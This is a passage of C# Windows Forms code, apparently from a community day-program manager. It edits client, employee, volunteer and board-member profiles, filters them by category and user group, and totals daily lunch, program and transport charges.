checkBox17.Checked = volonteer.Attendance.Friday; break; #endregion #region BoardMember case "4": tabControl2.SelectedTab = Board_MemberTab; textBox_BoardOccupation.Visible = true; label48.Visible = true; Profile board = new Profile(Int32.Parse(dataGridView1.Rows[e.RowIndex].Cells[0].Value.ToString())); textBox_BoardName.Text = board.Name; textBox_BoardOccupation.Text = board.Occupation; textBox_BoardBirth.Visible = true; textBox_BoardBirth.Text = board.DateOfBirdh.ToShortDateString(); textBox_BoardAdress.Text = board.Adress.Addres; textBox_BoardCity.Text = board.Adress.City; textBox_BoardProvince.Text = board.Adress.Province; textBox_BoardCountry.Text = board.Adress.Country; textBox_BoardCell.Text = board.Adress.Cell; textBox_BoardPostal.Text = board.Adress.PostalCode; textBox_BoardPhone.Text = board.Adress.Phone; textBox_BoardEmail.Text = board.Adress.Email; break; #endregion #region Other case "5": tabControl2.SelectedTab = Board_MemberTab; textBox_BoardOccupation.Visible = false; label48.Visible = false; board = new Profile(Int32.Parse(dataGridView1.Rows[e.RowIndex].Cells[0].Value.ToString())); textBox_BoardName.Text = board.Name; textBox_BoardOccupation.Text = board.Occupation; textBox_BoardBirth.Visible = false; textBox_BoardAdress.Text = board.Adress.Addres; textBox_BoardCity.Text = board.Adress.City; textBox_BoardProvince.Text = board.Adress.Province; textBox_BoardCountry.Text = board.Adress.Country; textBox_BoardCell.Text = board.Adress.Cell; textBox_BoardPostal.Text = board.Adress.PostalCode; textBox_BoardPhone.Text = board.Adress.Phone; textBox_BoardEmail.Text = board.Adress.Email; break; #endregion } } } private void toolStripButton2_Click(object sender, EventArgs e) { toolStripLabel5.Visible = true; toolStripLabel6.Visible = true; toolStripLabel7.Visible = true; toolStripTextBox_EmName.Visible = true; toolStripTextBox_EmPhone.Visible = true; toolStripTextBox_EmName.Text = String.Empty; toolStripTextBox_EmPhone.Text = String.Empty; toolStripTextBox54.Text = String.Empty; toolStripButton23.Visible = false; toolStripTextBox54.Visible = true; } private void toolStripComboBox1_SelectedIndexChanged(object sender, EventArgs e) { switch (toolStripComboBox3.Items[toolStripComboBox3.SelectedIndex].ToString()) { case "All": switch(Session.Group){ case 1: SortByCategory = false; this.profilesBindingSource.RemoveFilter(); break; case 2: SortByCategory = false; this.profilesBindingSource.Filter = "Category<2 OR Category>2"; break; case 3: SortByCategory = false; this.profilesBindingSource.Filter = "Category=1"; break; } break; case "Client": SortByCategory = true; this.profilesBindingSource.Filter = "Category = 1"; CategoryFilter = "Category = 1"; break; case "Employee": SortByCategory = true; this.profilesBindingSource.Filter = "Category = 2"; CategoryFilter = "Category = 2"; break; case "Volunteer": SortByCategory = true; this.profilesBindingSource.Filter = "Category = 3"; CategoryFilter = "Category = 3"; break; case "Board Member": SortByCategory = true; this.profilesBindingSource.Filter = "Category = 4"; CategoryFilter = "Category = 4"; break; case "Other": SortByCategory = true; this.profilesBindingSource.Filter = "Category = 5"; CategoryFilter = "Category = 5"; break; } } private void toolStripTextBox1_TextChanged(object sender, EventArgs e) { if (toolStripTextBox55.Text.Length > 2) { if (SortByCategory) { switch (Session.Group) { case 1: profilesBindingSource.Filter = CategoryFilter + " AND " + String.Format("CONVERT({0},'System.String') LIKE '%{1}%'", "Name", toolStripTextBox55.Text); break; case 2: profilesBindingSource.Filter = "(Category<2 OR Category>2) AND "+ CategoryFilter + " AND " + String.Format("CONVERT({0},'System.String') LIKE '%{1}%'", "Name", toolStripTextBox55.Text); break; case 3: profilesBindingSource.Filter = "Category=1 AND " + CategoryFilter + " AND " + String.Format("CONVERT({0},'System.String') LIKE '%{1}%'", "Name", toolStripTextBox55.Text); break; } } else { switch (Session.Group) { case 1: profilesBindingSource.Filter = String.Format("CONVERT({0},'System.String') LIKE '%{1}%'", "Name", toolStripTextBox55.Text); break; case 2: profilesBindingSource.Filter ="(Category<2 OR Category>2) AND "+ String.Format("CONVERT({0},'System.String') LIKE '%{1}%'", "Name", toolStripTextBox55.Text); break; case 3: profilesBindingSource.Filter = "Category=1 AND " + String.Format("CONVERT({0},'System.String') LIKE '%{1}%'", "Name", toolStripTextBox55.Text); break; } } } else { if (SortByCategory) { switch (Session.Group) { case 1: profilesBindingSource.Filter = CategoryFilter; break; case 2: profilesBindingSource.Filter = CategoryFilter + " AND (Category<2 OR Category>2)"; break; case 3: profilesBindingSource.Filter = CategoryFilter + " AND Category=1"; break; } } else { switch (Session.Group) { case 1: profilesBindingSource.RemoveFilter(); break; case 2: profilesBindingSource.RemoveFilter(); profilesBindingSource.Filter = "Category<2 OR Category>2"; break; case 3: profilesBindingSource.RemoveFilter(); profilesBindingSource.Filter = "Category=1"; break; } } } } private void button7_Click(object sender, EventArgs e) { if (dataGridView1.Rows.Count > 0) { Profile client = new Profile(Int32.Parse(dataGridView1.Rows[dataGridView1.SelectedCells[0].RowIndex].Cells[0].Value.ToString())); if (DialogResult.Yes == MessageBox.Show("Are you sure you want to delete a profile " + client.Name + " ?", "Delete", MessageBoxButtons.YesNo, MessageBoxIcon.Question)) { client.Delete(); profilesTableAdapter.Fill(tDayDataSet.Profiles); } } } private void textBox_ClientName_TextChanged(object sender, EventArgs e) { } private void textBox_ClientBirth_TextChanged(object sender, EventArgs e) { button8.Enabled = true; } private void CheckDateFormat(TextBox Box) { switch (Box.Text.Length) { case 2: Box.Text += "."; Box.SelectionStart = Box.TextLength; Box.ScrollToCaret(); Box.Refresh(); break; case 5: Box.Text += "."; Box.SelectionStart = Box.TextLength; Box.ScrollToCaret(); Box.Refresh(); break; case 10: DateTime Test = new DateTime(); if (!DateTime.TryParse(Box.Text, out Test)) { button8.Enabled = false; AddProfileErrorProvider.SetError(Box, "Invalid date format \nThe date must be in the format (dd.mm.yyyy) \nand contain only numbers included in the date range"); } else { AddProfileErrorProvider.Clear(); button8.Enabled = true; } break; } } private void textBox_EmpBirth_TextChanged(object sender, EventArgs e) { } private void textBox_EmpHire_TextChanged(object sender, EventArgs e) { } private void textBox_VolBirth_TextChanged(object sender, EventArgs e) { } private void textBox_BoardBirth_TextChanged(object sender, EventArgs e) { } private void button8_Click(object sender, EventArgs e) { if (dataGridView1.Rows.Count > 0) { int RowIndex = dataGridView1.SelectedCells[0].RowIndex; switch (dataGridView1.Rows[dataGridView1.SelectedCells[0].RowIndex].Cells["categoryDataGridViewTextBoxColumn"].Value.ToString()) { #region Client case "1": tabControl2.SelectedTab = ClientTab; Client client = new Client(Int32.Parse(dataGridView1.Rows[dataGridView1.SelectedCells[0].RowIndex].Cells[0].Value.ToString())); client.Name = textBox_ClientName.Text; client.DateOfBirdh = DateTime.Parse(textBox_ClientBirth.Value.ToShortDateString()); client.ParisNumber = textBox_ClientParis.Text; client.Adress.Addres = textBox_ClientAdress.Text; client.Adress.City = textBox_ClientCity.Text; client.Adress.Province = textBox_ClientProvince.Text; client.Adress.Country = textBox_ClientCountry.Text; client.Adress.PostalCode = textBox_ClientPostal.Text; client.Adress.Phone = textBox_ClientPhone.Text; client.Adress.Email = textBox_ClientEmail.Text; client.EmergencyContact.Name = textBox_ClientEmerName.Text; client.EmergencyContact.Phone = textBox_ClientEmPhone.Text; client.EmergencyContact.Relation = textBox_ClientRelation.Text; client.Transportation.HandyDARTNumber = textBox_ClientHD.Text; client.DoctorName = textBox_ClientDocName.Text; client.DoctorPhone = textBoxClientDocPhone.Text; client.Own = radioButton4.Checked; client.PharmacistName = textBox_ClientPharmName.Text; client.PharmacistPhone = textBox_ClientPharmPhone.Text; client.Member = ClientMember.Checked; if (toolStripTextBox_EmName.Visible && client.DopEmergencyContact == null) { client.DopEmergencyContact = new EmergencyContact(); client.DopEmergencyContact.Name = toolStripTextBox_EmName.Text; client.DopEmergencyContact.Phone = toolStripTextBox_EmPhone.Text; client.DopEmergencyContact.Relation = toolStripTextBox54.Text; client.DopEmergencyContact.AddEmergencyContactTo(client); } else if (toolStripTextBox_EmName.Visible) { client.DopEmergencyContact.Name = toolStripTextBox_EmName.Text; client.DopEmergencyContact.Phone = toolStripTextBox_EmPhone.Text; client.DopEmergencyContact.Relation = toolStripTextBox54.Text; } client.Attendance.Monday = checkBox2.Checked; client.Attendance.Tuesday = checkBox3.Checked; client.Attendance.Wednesday = checkBox4.Checked; client.Attendance.Thursday = checkBox5.Checked; client.Attendance.Friday = checkBox6.Checked; client.Transportation.Monday = checkBox11.Checked; client.Transportation.Tuesday = checkBox10.Checked; client.Transportation.Wednesday = checkBox9.Checked; client.Transportation.Thursday = checkBox8.Checked; client.Transportation.Friday = checkBox7.Checked; client.Transportation.Address = client.Adress.Addres; client.Transportation.Phone = client.Adress.Phone; if (client.Own) { client.Transportation.Category = "Own"; } else { client.Transportation.Category = "HandyDART"; } client.Update(); profilesTableAdapter.Fill(tDayDataSet.Profiles); dataGridView1.Rows[RowIndex].Selected = true; button8.Enabled = false; break; #endregion case "2": Employee employee = new Employee(Int32.Parse(dataGridView1.Rows[dataGridView1.SelectedCells[0].RowIndex].Cells[0].Value.ToString())); employee.Name = textBox_EmpName.Text; employee.DateOfBirdh = DateTime.Parse(textBox_EmpBirth.Value.ToShortDateString()); employee.HireDate = DateTime.Parse(textBox_EmpHire.Value.ToShortDateString()); employee.Position = textBox_EmpPosition.Text; employee.SIN = textBox_EmpSin.Text; if (radioButton1.Checked) { employee.PositionType = "Causal"; } if (radioButton2.Checked) { employee.PositionType = "Part time"; } if (radioButton3.Checked) { employee.PositionType = "Full time"; } employee.Adress.Addres = textBox_EmpAdress.Text; employee.Adress.City = textBox_EmpCity.Text; employee.Adress.Province = textBox_EmpProvince.Text; employee.Adress.Country = textBox_EmpCountry.Text; employee.Adress.PostalCode = textBox_EmpPostal.Text; employee.Adress.Phone = textBox_EmpPhone.Text; employee.Adress.Email = textBox_EmpEmail.Text; employee.Adress.Cell = textBox_EmpCell.Text; employee.EmergencyContact.Name = textBox_EmpEmerCN.Text; employee.EmergencyContact.Phone = textBox_EmerCP.Text; employee.EmergencyContact.Relation = textBox_EmpRelation.Text; employee.Attendance.Monday = checkBox16.Checked; employee.Attendance.Tuesday = checkBox15.Checked; employee.Attendance.Wednesday = checkBox14.Checked; employee.Attendance.Thursday = checkBox13.Checked; employee.Attendance.Friday = checkBox12.Checked; employee.Update(); profilesTableAdapter.Fill(tDayDataSet.Profiles); dataGridView1.Rows[RowIndex].Selected = true; button8.Enabled = false; break; case "3": tabControl2.SelectedTab = VolunteerTab; Profile volonteer = new Profile(Int32.Parse(dataGridView1.Rows[dataGridView1.SelectedCells[0].RowIndex].Cells[0].Value.ToString())); volonteer.Name = textBox_VolName.Text; volonteer.DateOfBirdh = DateTime.Parse(textBox_VolBirth.Value.ToShortDateString()); volonteer.Adress.Addres = textBox_VolAdress.Text; volonteer.Adress.City = textBox_VolCity.Text; volonteer.Adress.Province = textBox_VolProvince.Text; volonteer.Adress.Country = textBox_VolCountry.Text; volonteer.Adress.PostalCode = textBox_VolPostal.Text; volonteer.Adress.Phone = textBox_VolPhone.Text; volonteer.Adress.Email = textBox_VolEmail.Text; volonteer.Adress.Cell = textBox_VolCell.Text; volonteer.EmergencyContact.Name = textBox_VolEmerCN.Text; volonteer.EmergencyContact.Phone = textBox_VolEmerCP.Text; volonteer.EmergencyContact.Relation = textBox_VolEmerRelation.Text; volonteer.Attendance.Monday = checkBox21.Checked; volonteer.Attendance.Tuesday = checkBox20.Checked; volonteer.Attendance.Wednesday = checkBox19.Checked; volonteer.Attendance.Thursday = checkBox18.Checked; volonteer.Attendance.Friday = checkBox17.Checked; volonteer.Update(); profilesTableAdapter.Fill(tDayDataSet.Profiles); dataGridView1.Rows[RowIndex].Selected = true; button8.Enabled = false; break; case "4": textBox_BoardOccupation.Visible = true; label48.Visible = true; Profile board = new Profile(Int32.Parse(dataGridView1.Rows[dataGridView1.SelectedCells[0].RowIndex].Cells[0].Value.ToString())); board.Name = textBox_BoardName.Text; board.Occupation = textBox_BoardOccupation.Text; board.DateOfBirdh = DateTime.Parse(textBox_BoardBirth.Value.ToShortDateString()); board.Adress.Addres = textBox_BoardAdress.Text; board.Adress.City = textBox_BoardCity.Text; board.Adress.Province = textBox_BoardProvince.Text; board.Adress.Country = textBox_BoardCountry.Text; board.Adress.Cell = textBox_BoardCell.Text; board.Adress.PostalCode = textBox_BoardPostal.Text; board.Adress.Phone = textBox_BoardPhone.Text; board.Adress.Email = textBox_BoardEmail.Text; board.Update(); profilesTableAdapter.Fill(tDayDataSet.Profiles); dataGridView1.Rows[RowIndex].Selected = true; button8.Enabled = false; break; case "5": textBox_BoardOccupation.Visible = false; label48.Visible = false; Profile other = new Profile(Int32.Parse(dataGridView1.Rows[dataGridView1.SelectedCells[0].RowIndex].Cells[0].Value.ToString())); other.Name = textBox_BoardName.Text; other.DateOfBirdh = DateTime.Parse(textBox_BoardBirth.Value.ToShortDateString()); other.Adress.Addres = textBox_BoardAdress.Text; other.Adress.City = textBox_BoardCity.Text; other.Adress.Province = textBox_BoardProvince.Text; other.Adress.Country = textBox_BoardCountry.Text; other.Adress.Cell = textBox_BoardCell.Text; other.Adress.PostalCode = textBox_BoardPostal.Text; other.Adress.Phone = textBox_BoardPhone.Text; other.Adress.Email = textBox_BoardEmail.Text; other.Update(); profilesTableAdapter.Fill(tDayDataSet.Profiles); dataGridView1.Rows[RowIndex].Selected = true; button8.Enabled = false; break; } } } private void dataGridView2_CellEndEdit(object sender, DataGridViewCellEventArgs e) { FormProvider.CurrentRowIndex = e.RowIndex; FormProvider.CurrentColIndex = e.ColumnIndex; switch (e.ColumnIndex) { case 3: DayItem Item = new DayItem((int)dataGridView2.Rows[e.RowIndex].Cells["dayIdDataGridViewTextBoxColumn"].Value, CurrentDay.Date); Item.LunchPrice = (decimal)dataGridView2.Rows[e.RowIndex].Cells["lunchPriceDataGridViewTextBoxColumn"].Value; Item.Update(); daysTableAdapter.Fill(tDayDataSet.Days, CurrentDay.Date); break; case 4: Item = new DayItem((int)dataGridView2.Rows[e.RowIndex].Cells["dayIdDataGridViewTextBoxColumn"].Value, CurrentDay.Date); Item.TakeOutPrice = (decimal)dataGridView2.Rows[e.RowIndex].Cells["takeOutPriceDataGridViewTextBoxColumn"].Value; Item.Update(); daysTableAdapter.Fill(tDayDataSet.Days, CurrentDay.Date); break; case 5: Item = new DayItem((int)dataGridView2.Rows[e.RowIndex].Cells["dayIdDataGridViewTextBoxColumn"].Value, CurrentDay.Date); Item.MiscellaneousPrice = (decimal)dataGridView2.Rows[e.RowIndex].Cells["miscellaneousPriceDataGridViewTextBoxColumn"].Value; Item.Update(); daysTableAdapter.Fill(tDayDataSet.Days, CurrentDay.Date); break; case 6: Item = new DayItem((int)dataGridView2.Rows[e.RowIndex].Cells["dayIdDataGridViewTextBoxColumn"].Value, CurrentDay.Date); Item.ProgramPrice = (decimal)dataGridView2.Rows[e.RowIndex].Cells["ProgramPrice"].Value; Item.Update(); daysTableAdapter.Fill(tDayDataSet.Days, CurrentDay.Date); break; case 7: Item = new DayItem((int)dataGridView2.Rows[e.RowIndex].Cells["dayIdDataGridViewTextBoxColumn"].Value, CurrentDay.Date); Item.VanPrice = (decimal)dataGridView2.Rows[e.RowIndex].Cells["vanPriceDataGridViewTextBoxColumn"].Value; Item.Update(); daysTableAdapter.Fill(tDayDataSet.Days, CurrentDay.Date); break; case 8: Item = new DayItem((int)dataGridView2.Rows[e.RowIndex].Cells["dayIdDataGridViewTextBoxColumn"].Value, CurrentDay.Date); Item.RoundTripPrice = (decimal)dataGridView2.Rows[e.RowIndex].Cells["roundTripPriceDataGridViewTextBoxColumn"].Value; Item.Update(); daysTableAdapter.Fill(tDayDataSet.Days, CurrentDay.Date); break; case 9: Item = new DayItem((int)dataGridView2.Rows[e.RowIndex].Cells["dayIdDataGridViewTextBoxColumn"].Value, CurrentDay.Date); Item.BookOfTickets = (decimal)dataGridView2.Rows[e.RowIndex].Cells["bookOfTicketsDataGridViewTextBoxColumn"].Value; Item.Update(); daysTableAdapter.Fill(tDayDataSet.Days, CurrentDay.Date); break; case 11: Item = new DayItem((int)dataGridView2.Rows[e.RowIndex].Cells["dayIdDataGridViewTextBoxColumn"].Value, CurrentDay.Date); Item.Comments = dataGridView2.Rows[e.RowIndex].Cells["commentsDataGridViewTextBoxColumn"].Value.ToString(); Item.Update(); daysTableAdapter.Fill(tDayDataSet.Days, CurrentDay.Date); break; } ReCountTotals(); } private void dataGridView2_CellMouseClick(object sender, DataGridViewCellMouseEventArgs e) { if (e.Button == System.Windows.Forms.MouseButtons.Left) { FormProvider.CurrentRowIndex = e.RowIndex; FormProvider.CurrentColIndex = e.ColumnIndex; switch (e.ColumnIndex) { case 1: if ((bool)dataGridView2.Rows[e.RowIndex].Cells[e.ColumnIndex].Value) { if (DialogResult.Yes == MessageBox.Show("Are you sure you want to delete this entry?", "Delete", MessageBoxButtons.YesNo, MessageBoxIcon.Question)) { daysTableAdapter.Delete((int)dataGridView2.Rows[e.RowIndex].Cells["dayIdDataGridViewTextBoxColumn"].Value); daysTableAdapter.Fill(tDayDataSet.Days, CurrentDay.Date); } else { dataGridView2.Rows[e.RowIndex].Cells[e.ColumnIndex].Value = 1; dataGridView2.RefreshEdit(); } } break; case 2: if ((bool)dataGridView2.Rows[e.RowIndex].Cells[e.ColumnIndex].EditedFormattedValue) { DayItem Item = new DayItem((int)dataGridView2.Rows[e.RowIndex].Cells["dayIdDataGridViewTextBoxColumn"].Value, CurrentDay.Date); Item.Lunch = false; Item.LunchPrice = Decimal.Zero; Item.Update(); daysTableAdapter.Fill(tDayDataSet.Days, CurrentDay.Date); } else { DayItem Item = new DayItem((int)dataGridView2.Rows[e.RowIndex].Cells["dayIdDataGridViewTextBoxColumn"].Value, CurrentDay.Date); Item.Lunch = true; Item.LunchPrice = Item.GetLunchPrice(); Item.Update(); daysTableAdapter.Fill(tDayDataSet.Days, CurrentDay.Date); } break; } ReCountTotals(); } else if (e.Button == System.Windows.Forms.MouseButtons.Right) { FormProvider.CurrentRowIndex = e.RowIndex; FormProvider.CurrentColIndex = e.ColumnIndex; dataGridView2.Rows[e.RowIndex].Cells[e.ColumnIndex].Selected = true; switch (e.ColumnIndex) { case 3: contextMenuStrip1.Tag = e.ColumnIndex; contextMenuStrip1.Show(MousePosition.X, MousePosition.Y); break; case 6: if (ProfileProvider.GetCategory((int)dataGridView2.Rows[e.RowIndex].Cells["profileIdDataGridViewTextBoxColumn1"].Value) == 1) { contextMenuStrip1.Tag = e.ColumnIndex; contextMenuStrip1.Show(MousePosition.X, MousePosition.Y); } break; case 8: if (ProfileProvider.GetCategory((int)dataGridView2.Rows[e.RowIndex].Cells["profileIdDataGridViewTextBoxColumn1"].Value) == 1) { contextMenuStrip1.Tag = e.ColumnIndex; contextMenuStrip1.Show(MousePosition.X, MousePosition.Y); } break; } } } private void dataGridView2_RowPrePaint(object sender, DataGridViewRowPrePaintEventArgs e) { //if ((int)ProfileProvider.GetCategory((int)dataGridView2.Rows[e.RowIndex].Cells["profileIdDataGridViewTextBoxColumn1"].Value) != 1) //{ // dataGridView2.Rows[e.RowIndex].Cells["vanPriceDataGridViewTextBoxColumn"].Style.BackColor = Color.LightGray; // dataGridView2.Rows[e.RowIndex].Cells["roundTripPriceDataGridViewTextBoxColumn"].Style.BackColor = Color.LightGray; // dataGridView2.Rows[e.RowIndex].Cells["bookOfTicketsDataGridViewTextBoxColumn"].Style.BackColor = Color.LightGray; // dataGridView2.Rows[e.RowIndex].Cells["ProgramPrice"].Style.BackColor = Color.LightGray; // dataGridView2.Rows[e.RowIndex].Cells["vanPriceDataGridViewTextBoxColumn"].ReadOnly = true; // dataGridView2.Rows[e.RowIndex].Cells["roundTripPriceDataGridViewTextBoxColumn"].ReadOnly = true; // dataGridView2.Rows[e.RowIndex].Cells["bookOfTicketsDataGridViewTextBoxColumn"].ReadOnly = true; // dataGridView2.Rows[e.RowIndex].Cells["profileIdDataGridViewTextBoxColumn1"].ReadOnly = true; // dataGridView2.Rows[e.RowIndex].Cells["ProgramPrice"].ReadOnly = true; //} } private void dataGridView2_DataBindingComplete(object sender, DataGridViewBindingCompleteEventArgs e) { if (dataGridView2.Rows.Count > 0 && FormProvider.CurrentRowIndex < dataGridView2.Rows.Count && FormProvider.CurrentRowIndex>=0) { dataGridView2.ClearSelection(); dataGridView2.Rows[FormProvider.CurrentRowIndex].Cells[FormProvider.CurrentColIndex].Selected = true; } } private void dataGridView2_DataError(object sender, DataGridViewDataErrorEventArgs e) { Rectangle rec = dataGridView2.GetCellDisplayRectangle(e.ColumnIndex, e.RowIndex,true); Point m = dataGridView2.PointToScreen(Point.Empty); toolTip1.Show(e.Exception.Message, this, rec.Location.X+Math.Abs(m.X-this.Location.X)+rec.Width, rec.Location.Y+Math.Abs(m.Y-this.Location.Y)+rec.Height, 3000); e.ThrowException = false; e.Cancel = true; } private void button9_Click(object sender, EventArgs e) { CurrentDay.ChangeDate(CurrentDay.Date.AddDays(-1)); monthCalendar1.SelectionStart = CurrentDay.Date; daysTableAdapter.Fill(tDayDataSet.Days, CurrentDay.Date); textBox_weekday.Text = CurrentDay.Date.DayOfWeek.ToString(); textBox_date.Text = CurrentDay.Date.ToShortDateString(); ReCountTotals(); CheckDayLock(); if (!CurrentDay.IsCreated) { button22.Enabled = true; } else { button22.Enabled = false; } } private void button10_Click(object sender, EventArgs e) { CurrentDay.ChangeDate(CurrentDay.Date.AddDays(1)); daysTableAdapter.Fill(tDayDataSet.Days, CurrentDay.Date); monthCalendar1.SelectionStart = CurrentDay.Date; textBox_weekday.Text = CurrentDay.Date.DayOfWeek.ToString(); textBox_date.Text = CurrentDay.Date.ToShortDateString(); ReCountTotals(); CheckDayLock(); if (!CurrentDay.IsCreated) { button22.Enabled = true; } else { button22.Enabled = false; } } private void toolStripButton7_Click(object sender, EventArgs e) { panel5.Visible = false; } private void toolStripButton5_Click(object sender, EventArgs e) { panel5.Location = new Point(dataGridView2.Location.X + 4, dataGridView2.Location.Y +dataGridView2.Height-panel5.Height-22); panel5.Visible = true; switch (Session.Group) { case 1: profilesBindingSource1.RemoveFilter(); profilesBindingSource1.Filter = "Category<4 AND DelStatus=0"; break; case 2: profilesBindingSource1.Filter = "Category<2 OR Category>2 AND Category<4 DelStatus=0"; break; case 3: profilesBindingSource1.Filter = "Category=1 AND DelStatus=0"; break; } } private void toolStripTextBox4_TextChanged(object sender, EventArgs e) { if (toolStripTextBox4.Text.Length > 2) { switch (Session.Group) { case 1: profilesBindingSource1.Filter = String.Format("CONVERT({0},'System.String') LIKE '%{1}%'", "Name", toolStripTextBox4.Text) + " and DelStatus=0"; break; case 2: profilesBindingSource1.Filter = "(Category<2 OR Category>2) and DelStatus=0 AND "+String.Format("CONVERT({0},'System.String') LIKE '%{1}%'", "Name", toolStripTextBox4.Text);; break; case 3: profilesBindingSource1.Filter = "Category=1 and DelStatus=0 AND "+String.Format("CONVERT({0},'System.String') LIKE '%{1}%'", "Name", toolStripTextBox4.Text);; break; } } else { switch (Session.Group) { case 1: profilesBindingSource1.RemoveFilter(); profilesBindingSource1.Filter = "Category<4 and DelStatus=0"; break; case 2: profilesBindingSource1.Filter = "Category<2 OR Category>2 AND Category<4 and DelStatus=0"; break; case 3: profilesBindingSource1.Filter = "Category=1 and DelStatus=0"; break; } } } private void dataGridView3_CellMouseDoubleClick(object sender, DataGridViewCellMouseEventArgs e) { toolStripButton6_Click(sender, e); } private void toolStripButton6_Click(object sender, EventArgs e) { if (dataGridView3.Rows.Count > 0) { DayItem Item = new DayItem((int)dataGridView3.Rows[dataGridView3.SelectedCells[0].RowIndex].Cells[0].Value); if (!CurrentDay.IsInDay(Item)) { CurrentDay.InsertItem(Item); daysTableAdapter.Fill(tDayDataSet.Days, CurrentDay.Date); panel5.Visible = false; ReCountTotals(); } else { panel5.Visible = false; if (ProfileProvider.GetCategory(Item.ProfileId) == 1) { foreach (DataGridViewRow Row in dataGridView2.Rows) { if ((int)Row.Cells["profileIdDataGridViewTextBoxColumn1"].Value == Item.ProfileId) { Row.Cells["profileIdDataGridViewTextBoxColumn1"].Selected = true; } } } else { foreach (DataGridViewRow Row in dataGridView8.Rows) { if ((int)Row.Cells["dataGridViewComboBoxColumn2"].Value == Item.ProfileId) { Row.Cells["dataGridViewComboBoxColumn2"].Selected = true; } } } } } } private void ReCountTotals() { int TotalLC = 0; double TotalLCP = 0; double TotalTOP = 0; double TotalMisoP = 0; double TotalVan = 0; double TotalP = 0; double TotalRTP = 0; double TotalBFT = 0; double TotalT = 0; foreach(DataGridViewRow Row in dataGridView2.Rows) { if ((bool)Row.Cells["lunchDataGridViewCheckBoxColumn"].Value) { TotalLC++; } TotalLCP += Convert.ToDouble(Row.Cells["lunchPriceDataGridViewTextBoxColumn"].Value.ToString()); TotalTOP += Convert.ToDouble(Row.Cells["takeOutPriceDataGridViewTextBoxColumn"].Value.ToString()); TotalMisoP += Convert.ToDouble(Row.Cells["miscellaneousPriceDataGridViewTextBoxColumn"].Value.ToString()); TotalVan += Convert.ToDouble(Row.Cells["vanPriceDataGridViewTextBoxColumn"].Value.ToString()); TotalP += Convert.ToDouble(Row.Cells["ProgramPrice"].Value.ToString()); TotalRTP += Convert.ToDouble(Row.Cells["roundTripPriceDataGridViewTextBoxColumn"].Value.ToString()); TotalBFT += Convert.ToDouble(Row.Cells["bookOfTicketsDataGridViewTextBoxColumn"].Value.ToString()); TotalT += Convert.ToDouble(Row.Cells["Total"].Value.ToString()); } toolStripTextBox41.Text = dataGridView2.Rows.Count.ToString(); toolStripTextBox42.Text = TotalLC.ToString(); toolStripTextBox43.Text = TotalLCP.ToString("0.00"); toolStripTextBox44.Text = TotalTOP.ToString("0.00"); toolStripTextBox45.Text = TotalMisoP.ToString("0.00"); toolStripTextBox46.Text = TotalP.ToString("0.00"); toolStripTextBox47.Text = TotalVan.ToString("0.00"); toolStripTextBox48.Text = TotalRTP.ToString("0.00"); toolStripTextBox49.Text = TotalBFT.ToString("0.00"); toolStripTextBox50.Text = TotalT.ToString("0.00"); //****************Хрень TotalLC = 0; TotalLCP = 0; TotalTOP = 0; TotalMisoP = 0; TotalVan = 0; TotalP = 0; TotalRTP = 0; TotalBFT = 0; TotalT = 0; foreach (DataGridViewRow Row in dataGridView8.Rows) { if ((bool)Row.Cells["dataGridViewCheckBoxColumn2"].Value) { TotalLC++; } TotalLCP += Convert.ToDouble(Row.Cells["dataGridViewTextBoxColumn3"].Value.ToString()); TotalTOP += Convert.ToDouble(Row.Cells["dataGridViewTextBoxColumn4"].Value.ToString()); TotalMisoP += Convert.ToDouble(Row.Cells["dataGridViewTextBoxColumn5"].Value.ToString()); TotalVan += Convert.ToDouble(Row.Cells["dataGridViewTextBoxColumn7"].Value.ToString()); TotalP += Convert.ToDouble(Row.Cells["dataGridViewTextBoxColumn6"].Value.ToString()); TotalRTP += Convert.ToDouble(Row.Cells["dataGridViewTextBoxColumn8"].Value.ToString()); TotalBFT += Convert.ToDouble(Row.Cells["dataGridViewTextBoxColumn9"].Value.ToString()); TotalT += Convert.ToDouble(Row.Cells["dataGridViewTextBoxColumn10"].Value.ToString()); } toolStripTextBox29.Text = dataGridView8.Rows.Count.ToString(); toolStripTextBox30.Text = TotalLC.ToString(); toolStripTextBox31.Text = TotalLCP.ToString("0.00"); toolStripTextBox32.Text = TotalTOP.ToString("0.00"); toolStripTextBox33.Text = TotalMisoP.ToString("0.00"); toolStripTextBox34.Text = TotalP.ToString("0.00"); toolStripTextBox35.Text = TotalVan.ToString("0.00"); toolStripTextBox36.Text = TotalRTP.ToString("0.00"); toolStripTextBox37.Text = TotalBFT.ToString("0.00"); toolStripTextBox38.Text = TotalT.ToString("0.00"); toolStripTextBox6.Text = (int.Parse(toolStripTextBox41.Text) + int.Parse(toolStripTextBox29.Text)).ToString(); toolStripTextBox7.Text = (int.Parse(toolStripTextBox42.Text) + int.Parse(toolStripTextBox30.Text)).ToString(); toolStripTextBox8.Text = (double.Parse(toolStripTextBox43.Text) + double.Parse(toolStripTextBox31.Text)).ToString("0.00"); toolStripTextBox9.Text = (double.Parse(toolStripTextBox44.Text) + double.Parse(toolStripTextBox32.Text)).ToString("0.00"); toolStripTextBox15.Text = (double.Parse(toolStripTextBox45.Text) + double.Parse(toolStripTextBox33.Text)).ToString("0.00"); toolStripTextBox14.Text = (double.Parse(toolStripTextBox46.Text) + double.Parse(toolStripTextBox34.Text)).ToString("0.00"); toolStripTextBox13.Text = (double.Parse(toolStripTextBox47.Text) + double.Parse(toolStripTextBox35.Text)).ToString("0.00"); toolStripTextBox12.Text = (double.Parse(toolStripTextBox48.Text) + double.Parse(toolStripTextBox36.Text)).ToString("0.00"); toolStripTextBox11.Text = (double.Parse(toolStripTextBox49.Text) + double.Parse(toolStripTextBox37.Text)).ToString("0.00"); toolStripTextBox16.Text = (double.Parse(toolStripTextBox50.Text) + double.Parse(toolStripTextBox38.Text)).ToString("0.00"); } private void noChargeToolStripMenuItem_Click(object sender, EventArgs e) { if (contextMenuStrip1.Tag != null) { switch ((int)contextMenuStrip1.Tag) { case 3: DayItem Item = new DayItem((int)dataGridView2.Rows[dataGridView2.SelectedCells[0].RowIndex].Cells["dayIdDataGridViewTextBoxColumn"].Value, CurrentDay.Date); Item.LunchPrice = 0; Item.Lunch = false; Item.Update(); daysTableAdapter.Fill(tDayDataSet.Days, CurrentDay.Date); break; case 6: Item = new DayItem((int)dataGridView2.Rows[dataGridView2.SelectedCells[0].RowIndex].Cells["dayIdDataGridViewTextBoxColumn"].Value, CurrentDay.Date); Item.ProgramPrice = 0; Item.Update(); daysTableAdapter.Fill(tDayDataSet.Days, CurrentDay.Date); break; case 8: Item = new DayItem((int)dataGridView2.Rows[dataGridView2.SelectedCells[0].RowIndex].Cells["dayIdDataGridViewTextBoxColumn"].Value, CurrentDay.Date); Item.RoundTripPrice = 0; 